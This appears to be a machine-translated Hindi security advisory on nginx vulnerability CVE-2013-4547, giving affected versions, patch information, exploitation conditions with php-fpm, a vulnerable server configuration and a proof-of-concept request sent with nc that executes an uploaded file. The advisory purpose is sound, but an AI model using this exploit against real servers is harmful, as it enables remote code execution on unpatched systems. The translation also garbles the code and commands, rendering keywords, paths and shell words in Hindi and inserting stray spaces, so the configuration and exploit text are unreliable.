नग्नेक्स में कमजोरता - नग्नेक्स सुरक्षा सलाहकार (CVE-2013-4547)

नगनेक्स में एक भेद्यता की खोज की गई है (और पहले से ही तय है)।
यहाँ विवरण: mailman.nginx.org/pipermail/nginx-ru/2013-Nvent/052575.html

नग्नेक्स 0.8.41 - 1.5.6 के संस्करण प्रभावित हैं।
समस्या nginx 1.5.7, 1.4.4 में तय की गई है।
कस्टम कॉन्फ़िगरेशन के लिए एक पैच उपलब्ध है - nginx.org/download/patch.2013.space.txt

यह हिस्सा विशेष रूप से दिलचस्प है:

साथ ही फॉर्म के कॉन्फ़िगरेशन में अंत में एक स्थान के साथ विशेष फ़ाइल प्रसंस्करण को कॉल करने की क्षमता
स्थान ~ \ .php $ {
fastcgi_pass ...
}

फ़ाइल को "/ फ़ाइल \ 0.php" के रूप में अनुरोध करना।

लोकप्रिय nginx + php कॉन्फ़िगरेशन में, भेद्यता का शोषण निम्नानुसार किया जा सकता है:
* उपयोगकर्ता अंत में एक स्थान के साथ सर्वर पर एक फ़ाइल अपलोड करता है
* विशेष रूप से रचित अनुरोध द्वारा इस फ़ाइल को निष्पादित किया जाता है।

Nginx + php5-fpm के लिए, भेद्यता के दोहन के लिए निम्नलिखित शर्तें पूरी होनी चाहिए:
1) fastcgi_param PATH_TRANSLATED फॉर्म $ डॉक्युमेंट_root / $ fastcgi_script_name, यानी का होना चाहिए स्क्रिप्ट मान अनुरोध से लिया गया है
2) fpm पूल कॉन्फिगरेशन में, value ecurity.limit_extensions को किसी भी फाइल को छोड़ देना चाहिए। डिफ़ॉल्ट रूप से, यह .php .php3 .php4 .php5 पर सेट है

ऑपरेशन का उदाहरण:

        सर्वर {
		 सुनो *: 80;
		 server_name example.com;

		 access_log ...;
		 error_log ...;

		 रूट / var / www / गर्म;
		
		 स्थान ~ \ .php $ {
			 शामिल / आदि / nginx / fastcgi_params;
			 fastcgi_param PATH_TRANSLated $ document_root / $ fastcgi_script_name;
			 fastcgi_param SCRIPT_FILENAME $ document_root / $ fastcgi_script_name;
			 fastcgi_pass पास;
		 }

                 स्थान / css / {}
                 स्थान / js / {}
                 स्थान / img / {}

	 }

 बिल्ली "/ var / www / गर्म / छेद" 
 <? php 
 गूंज "मैं छेद हूँ";
 ?>

और अंत में खुद ही निवेदन करें:

 echo -e "GET / hole \ 0.php HTTP / 1.1 \ r \ nHost: example.com \ r \ n \ r \ n" |  nc -w 1 example.com 80
 HTTP / 1.1 200 ठीक है
 सर्वर: nginx / 1.4.1
 दिनांक: मंगल, १ ९ नवंबर २०१३ 15:31:51 GMT
 सामग्री-प्रकार: पाठ / html
 स्थानांतरण-एन्कोडिंग: chunked
 कनेक्शन: जीवित रखें
 X-Powered-by: PHP / 5.4.19-1 ~ dotdeb.1

 9
 मैं छेद हूँ
 0